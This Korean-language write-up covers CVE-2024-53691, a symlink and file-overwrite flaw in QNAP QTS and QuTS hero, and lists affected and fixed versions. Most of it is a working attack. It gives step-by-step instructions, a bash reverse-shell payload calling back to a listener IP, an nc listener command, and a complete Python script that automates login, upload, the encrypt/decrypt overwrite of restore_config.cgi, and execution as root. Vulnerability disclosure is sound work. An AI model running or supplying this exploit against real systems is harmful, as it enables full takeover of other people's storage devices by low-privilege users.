
CVE-2024-53691
"악용될 경우, 링크 추적 취약점으로 인해 사용자 접근 권한을 획득한 원격 공격자가 파일 시스템을 탐색하여 의도하지 않은 위치에 도달할 수 있습니다."
발견일: 2024년 4월 22일
수정일: 2024년 9월 7일
영향을 받는 버전: QTS 5.1.x, QuTS hero h5.1.x
수정된 버전: QTS 5.2.0.2802 build 20240620 이상, QuTS hero h5.2.0.2802 build 20240620 이상
접근 권한: 파일 업로드 권한이 있는 일반 사용자
요약:
ZIP 파일을 통해 심볼릭 링크를 업로드하고 암호화/복호화 기능을 악용하여 임의 파일 쓰기 기본 요소를 얻은 후, 이를 원격 코드 실행으로 전환할 수 있습니다.
일반 사용자 권한을 가진 공격자는 이 취약점을 악용하여 루트 사용자로 코드 실행 권한을 획득하고 시스템을 완전히 장악할 수 있습니다.
심볼릭 링크를 생성하고 ZIP 파일에 넣습니다. 심볼릭 링크 대상은 덮어쓸 파일을 지정합니다. 원격 코드 실행을 위해 /home/httpd/cgi-bin/restore_config.cgi를 선택했습니다.
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
payload.txt에 실행할 셸 명령을 작성합니다. 예제에서는 표준 bash 리버스 셸을 사용합니다. 리스너 IP와 포트를 조정하는 것을 잊지 마세요.
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
낮은 권한의 사용자로 로그인합니다.
웹 인터페이스를 통해 ZIP 파일을 업로드합니다.
ZIP 파일을 마우스 오른쪽 버튼으로 클릭하고 *Extract to /pwn/*을 선택하여 압축을 풉니다.
payload.txt를 /pwn/payload.txt에 업로드합니다.

payload.txt를 마우스 오른쪽 버튼으로 클릭하고 Encrypt를 선택한 후 *Do you want to encrypt and replace the original file?*을 Yes로 설정하여 암호화합니다.
파일 payload.txt.qenc를 마우스 오른쪽 버튼으로 클릭하고 Rename을 선택하여 link.txt.qenc로 이름을 변경합니다.
파일 link.txt.qenc를 마우스 오른쪽 버튼으로 클릭하고 Decrypt를 선택한 후 Mode를 Overwrite로 설정하여 복호화합니다.
리버스 셸 리스너를 시작합니다.
nc -nvlp 4444
브라우저에서 /cgi-bin/restore_config.cgi 엔드포인트를 열어 리버스 셸 실행을 트리거합니다.

다음 Python 스크립트를 사용하여 취약점을 악용할 수 있습니다.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('creating zip file')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('uploading payload file')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('encrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('renaming payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('decrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('executing payload')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()